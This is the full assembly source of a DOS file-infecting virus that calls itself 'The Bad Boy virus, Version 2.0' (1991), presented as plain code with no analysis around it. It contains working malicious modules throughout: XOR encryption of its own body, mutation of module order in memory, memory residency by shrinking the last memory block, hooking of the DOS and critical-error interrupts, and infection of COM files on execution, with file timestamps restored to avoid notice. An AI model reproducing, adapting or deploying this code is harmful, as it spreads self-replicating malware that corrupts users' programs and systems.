code	      segment
	      assume cs:code,ds:code
	      .radix 16
	      org  100
start:
	      push word ptr cs:[table+2]
	      push cs
	      pop  ds
	      jmp  word ptr cs:[table]	  ;go to module 1

curofs	      dw   ?
files	      db   0		       ;number of infected files from this copy
fsize	      dw   2		       ;size of infected file
ftime	      dw     ?
fdate	      dw     ?
stdint21      dd     ?
oldint13      dd     ?
oldint21      dd     ?
oldint24      dd     ?

;------------- TABLE WITH MODULE PARAMETERS --------------------
table:
	      dw   offset false_mod_1 ;00
	      dw   offset mod_2       ;02
	      dw   offset mod_3       ;04
	      dw   offset mod_4       ;06	       ;offset modules
	      dw   offset mod_5       ;08
	      dw   offset mod_6       ;0a
	      dw   offset mod_7       ;0c
	      dw   offset mod_8       ;0e

	      dw   offset mod_2 - offset mod_1;10
	      dw   offset mod_3 - offset mod_2;12
	      dw   offset mod_4 - offset mod_3;14
	      dw   offset mod_5 - offset mod_4;16
	      dw   offset mod_6 - offset mod_5;18	;size modules
	      dw   offset mod_7 - offset mod_6;1a
	      dw   offset mod_8 - offset mod_7;1c
	      dw   offset myend - offset mod_8;1e


;------------- MODULE - 1 - CODER/DECODER ----------------------
mod_1:
	      mov  bx,offset table+2   ;first module to working (module 2)
	      mov  cx,6 	       ;number of modules to working
mod_1_lp1:
	      cmp  bx,offset table+0a
	      jne  mod_1_cont
	      add  bx,2
mod_1_cont:
	      push bx
	      push cx
	      mov  ax,[bx]	       ;ax - offset module
	      mov  cx,[bx+10]	       ;cx - size of module
	      mov  bx,ax
mod_1_lp2:
	      xor  byte ptr [bx],al
	      inc  bx
	      loop mod_1_lp2
	      pop  cx
	      pop  bx
	      add  bx,2
	      loop mod_1_lp1
	      ret

;------------- MODULE - 2 - MUTATION TO MEMORY -----------------
mod_2:
		     ;instalation check

	      mov    es,cs:[2]				   ;memory size
	      mov    di,100
	      mov    si,100
	      mov    cx,0bh
	      repe   cmpsb
	      jne    mod_2_install			   ;jump if not install
	      jmp    word ptr cs:[table+06]  ;if install, jump to module 4

mod_2_install:
		     ;instalation

	      mov    ax,cs
	      dec    ax
	      mov    ds,ax

	      cmp    byte ptr ds:[0],'Z'
	      je     mod_2_cont

	      jmp    word ptr cs:[table+6]	    ;if no last MCB - go to mod4

mod_2_cont:
	      sub    word ptr ds:[3],0c0
	      mov    ax,es
	      sub    ax,0c0
	      mov    es,ax
	      mov    word ptr ds:[12],ax       ;decrement memory size with 2K
	      push   cs
	      pop    ds

mod_2_mut:
	      mov  byte ptr cs:files,0

	      mov  di,100
	      mov  cx,offset mod_1-100
	      mov  si,100
	      rep  movsb     ;write table to new memory

	      mov  bx,word ptr cs:[table]
	      add  bx,offset mod_1_lp2-offset mod_1+1
	      xor  byte ptr [bx],18			   ;change code method

	      mov  cx,8
	      mov  word ptr curofs,offset mod_1
mod_2_lp1:
	      push cx
	      call mod_2_rnd ;generate random module addres
	      push bx	     ;addres in table returned from mod_2_rnd
	      mov  ax,[bx]   ;offset module
	      push ax
	      add  bx,10
	      mov  cx,[bx]   ;length of module
	      pop  si
	      pop  bx
	      xchg di,curofs
	      mov  word ptr es:[bx],di ;change module offset in table
	      rep  movsb	       ;copy module to new memory
	      xchg di,curofs	       ;change current offset in new memory
	      mov  ax,8000
	      or   word ptr [bx],ax    ;mark module - used
	      pop  cx
	      loop mod_2_lp1
	      mov  cl,8
	      not  ax
	      mov  bx,offset table
mod_2_lp2:
	      and  word ptr [bx],ax    ;unmark all modules
	      add  bx,2
	      loop mod_2_lp2

	      jmp  word ptr cs:[table+4]  ;go to module 3

mod_2_rnd:
	      push cx
	      push es
	      xor  cx,cx
	      mov  es,cx
mod_2_lp3:
	      mov  bx,es:[46c]
	      db 81,0e3,07,00  ;and bx,7
	      shl  bx,1
	      add  bx,offset table
	      test [bx],8000
	      jnz  mod_2_lp3
	      pop  es
	      pop  cx
	      ret

;------------- MODULE - 3 - SET INTERRUPT VECTORS ---------------
mod_3:
	      xor    ax,ax
	      mov    ds,ax

	      mov    ax,ds:[4*21]
	      mov    word ptr es:[oldint21],ax
	      mov    ax,ds:[4*21+2]
	      mov    word ptr es:[oldint21+2],ax

	      mov    ah,30
	      int    21
	      cmp    ax,1e03
	      jne    mod_3_getvec

	      mov    word ptr es:[stdint21],1460
	      mov    ax,1203
	      push   ds
	      int    2f
	      mov    word ptr es:[stdint21+2],ds
	      pop    ds
	      jmp    mod_3_setvec

mod_3_getvec:
	      mov    ax,ds:[4*21]
	      mov    word ptr es:[stdint21],ax
	      mov    ax,ds:[4*21+2]
	      mov    word ptr es:[stdint21+2],ax

mod_3_setvec:
	      cli
	      mov    ax,word ptr es:[table+0c]
	      mov    ds:[4*21],ax
	      mov    ax,es
	      mov    ds:[4*21+2],ax
	      sti

	      mov    cx,es
	      mov    ah,13			 ;
	      int    2f 			 ;
	      push   es 			 ;
	      mov    es,cx			 ;
	      mov    word ptr es:[oldint13],dx	 ; get standart int13 addres
	      mov    word ptr es:[oldint13+2],ds ;
	      pop    es 			 ;
	      int    2f 			 ;

	      jmp    word ptr cs:[table+06]		      ;go to module 4

;------------- MODULE - 4 - RESTORE OLD PROGRAM CODE & START ----
mod_4:
	      push   cs
	      push   cs
	      pop    ds
	      pop    es
	      mov    si,word ptr cs:[table+06]
	      add    si,offset mod_4_cont - offset mod_4
	      mov    di,cs:fsize
	      add    di,offset myend+1
	      push   di
	      mov    cx,offset mod_5 - offset mod_4_cont
	      cld
	      rep    movsb
	      ret
mod_4_cont:
	      mov    si,cs:fsize
	      add    si,100

	      cmp    si,offset myend+1
	      jnc    mod_4_cnt
	      mov    si,offset myend+1
mod_4_cnt:
	      mov    di,100
	      mov    cx,offset myend-100
	      rep    movsb
	      mov    ax,100   ;
	      push   ax       ; jmp 100
	      ret	      ;

;------------- MODULE - 5 - SPECIAL PROGRAM ---------------------
mod_5:
	      xor    di,di
	      mov    ds,di
	      cli
	      mov    di,word ptr cs:[oldint21]
	      mov    ds:[4*21],di
	      mov    di,word ptr cs:[oldint21+2]
	      mov    ds:[4*21+2],di
	      sti

	      ret

	      db     'Make me better!'
;------------- MODULE - 6 - INT 24 HEADER -----------------------
mod_6:
	      mov    al,3
	      iret
	      db     'The Bad Boy virus, Version 2.0, Copyright (C) 1991.',0

;------------- MODULE - 7 - INT 21 HEADER -----------------------
mod_7:
	      push   bx
	      push   si
	      push   di
	      push   es
	      push   ax

	      cmp    ax,4b00
	      je     mod_7_begin
	      jmp    mod_7_exit
mod_7_begin:
	      push   ds
	      push   cs 			       ;
	      pop    es 			       ;
	      xor    ax,ax			       ;
	      mov    ds,ax			       ;
	      mov    si,4*24			       ;
	      mov    di,offset oldint24 	       ;
	      movsw				       ;   change int24 vector
	      movsw				       ;
	      mov    ax,word ptr cs:[table+0a]	       ;
	      cli				       ;
	      mov    ds:[4*24],ax		       ;
	      mov    ax,cs			       ;
	      mov    ds:[4*24+2],ax		       ;
	      sti
	      pop    ds

	      mov    ax,3d00			       ;
	      pushf				       ;
	      call   cs:oldint21		       ;
	      jc     mod_7_ex			       ; open,infect,close file
	      mov    bx,ax			       ;
mod_7_infect:					       ;
	      call   word ptr cs:[table+0e]	       ;
	      pushf
	      mov    ah,3e			       ;
	      pushf				       ;
	      call   cs:oldint21		       ;
	      popf
	      jc     mod_7_ex

	      push   ds 			 ;
	      cli				 ;
	      xor    ax,ax			 ;
	      mov    ds,ax			 ;
	      mov    ax,word ptr cs:[oldint13]	 ;
	      xchg   ax,word ptr ds:[4*13]	 ;
	      mov    word ptr cs:[oldint13],ax	 ; exchange int13 vectors
	      mov    ax,word ptr cs:[oldint13+2] ;
	      xchg   ax,word ptr ds:[4*13+2]	 ;
	      mov    word ptr cs:[oldint13+2],ax ;
	      sti				 ;
	      pop    ds 			 ;
mod_7_ex:
	      push   ds 			       ;
	      xor    ax,ax			       ;
	      mov    ds,ax			       ;
	      mov    ax,word ptr cs:oldint24	       ;
	      mov    ds:[4*24],ax		       ;
	      mov    ax,word ptr cs:oldint24+2	       ; restore int24 vector
	      mov    ds:[4*24+2],ax		       ;
	      pop    ds 			       ;

mod_7_exit:
	      pop    ax
	      pop    es
	      pop    di
	      pop    si
	      pop    bx

	      jmp    cs:oldint21

;------------- MODULE - 8 - INFECTING (bx - file handle) --------
mod_8:
	      push   cx
	      push   dx
	      push   ds
	      push   es
	      push   di
	      push   bp

	      push   bx
	      mov    ax,1220
	      int    2f
	      mov    bl,es:[di]
	      xor    bh,bh
	      mov    ax,1216
	      int    2f
	      pop    bx

	      mov    ax,word ptr es:[di+11]
	      cmp    ax,0f000
	      jc     mod_8_c
	      jmp    mod_8_exit

mod_8_c:
	      mov    word ptr es:[di+2],2		   ;open mode - R/W

	      mov    ax,es:[di+11]
	      mov    cs:fsize,ax	       ; save file size

	      mov    ax,word ptr es:[di+0dh]   ;
	      mov    word ptr cs:[ftime],ax    ; save file date/time
	      mov    ax,word ptr es:[di+0f]    ;
	      mov    word ptr cs:[fdate],ax    ;

	      push   cs 			 ;
	      pop    ds 			 ;
	      mov    dx,offset myend+1		 ;
	      mov    cx,offset myend-100	 ; read first bytes
	      mov    ah,3f			 ;
	      pushf
	      call   cs:oldint21
	      jnc    mod_8_cnt
	      jmp    mod_8_exit

mod_8_cnt:
	      mov    bp,ax			 ; ax - bytes read
	      mov    si,dx
	      mov    ax,'MZ'
	      cmp    ax,word ptr ds:[si]
	      jne    mod_8_nxtchk
	      jmp    mod_8_exit
mod_8_nxtchk:
	      xchg   ah,al
	      cmp    ax,ds:[si]
	      jne    mod_8_cnt2
	      jmp    mod_8_exit

mod_8_cnt2:
	      push   es
	      push   di
	      push   cs 			 ;
	      pop    es 			 ;
	      mov    si,100			 ;
	      mov    di,dx			 ; check for infected file
	      mov    cx,0bh			 ;
	      repe   cmpsb			 ;
	      pop    di
	      pop    es
	      jne    mod_8_cnt1 		 ;
	      jmp    mod_8_exit
mod_8_cnt1:
	      mov    word ptr es:[di+15],0     ; fp:=0

	      push   es
	      push   di
	      mov    si,word ptr cs:[table+0e]
	      add    si,offset mod_8_cont - offset mod_8
	      xor    di,di
	      push   cs
	      pop    es
	      mov    cx,offset mod_8_cont_end - offset mod_8_cont
	      cld
	      rep    movsb
	      pop    di
	      pop    es

	      mov    si,word ptr cs:[table+0e]
	      add    si,offset mod_8_cont_end - offset mod_8
	      push   si
	      xor    si,si
	      push   si

	      push   ds 			 ;
	      cli				 ;
	      xor    ax,ax			 ;
	      mov    ds,ax			 ;
	      mov    ax,word ptr cs:[oldint13]	 ;
	      xchg   ax,word ptr ds:[4*13]	 ;
	      mov    word ptr cs:[oldint13],ax	 ;
	      mov    ax,word ptr cs:[oldint13+2] ; exchange int13 vectors
	      xchg   ax,word ptr ds:[4*13+2]	 ;
	      mov    word ptr cs:[oldint13+2],ax ;
	      sti				 ;
	      pop    ds 			 ;

	      ret

mod_8_cont:
	      push   bx
	      call   word ptr cs:[table]	 ; code virus
	      pop    bx

	      mov    dx,100			 ;
	      mov    ah,40			 ; write code in begin
	      mov    cx,offset myend-0ff
	      pushf				 ;
	      call   cs:stdint21		 ;

	      pushf
	      push   bx
	      call   word ptr cs:[table]	 ; decode virus
	      pop    bx
	      popf
	      jnc    mod_8_cont1
	      pop    ax
	      mov    ax,word ptr cs:[table+0e]
	      add    ax,offset mod_8_ext - offset mod_8
	      push   ax
	      ret
mod_8_cont1:
	      mov    ax,es:[di+11]		 ; fp:=end of file
	      mov    word ptr es:[di+15],ax	 ;

	      mov    dx,offset myend+1
	      mov    cx,bp			 ; bp - files read
	      mov    ah,40			 ;
	      pushf				 ;
	      call   cs:stdint21		 ; write in end of file

	      ret

mod_8_cont_end:
	      mov    ax,5701	 ;
	      mov    cx,cs:ftime ;
	      mov    dx,cs:fdate ; restore file date/time
	      pushf		 ;
	      call   cs:oldint21 ;

	      inc    cs:files
	      cmp    cs:files,0a
	      jne    mod_8_ext
	      call   word ptr cs:[table+8]
	      jmp    short mod_8_ext
mod_8_exit:
	      stc
	      jmp    short mod_8_ex
mod_8_ext:
	      clc
mod_8_ex:
	      pop    bp
	      pop    di
	      pop    es
	      pop    ds
	      pop    dx
	      pop    cx
	      ret

;---------------------------------------------------------------

myend	      db   0

	      int    20 	       ;code of infected file

false_mod_1:
	      mov     word ptr cs:[table],offset mod_1
	      ret

code	      ends
	      end  start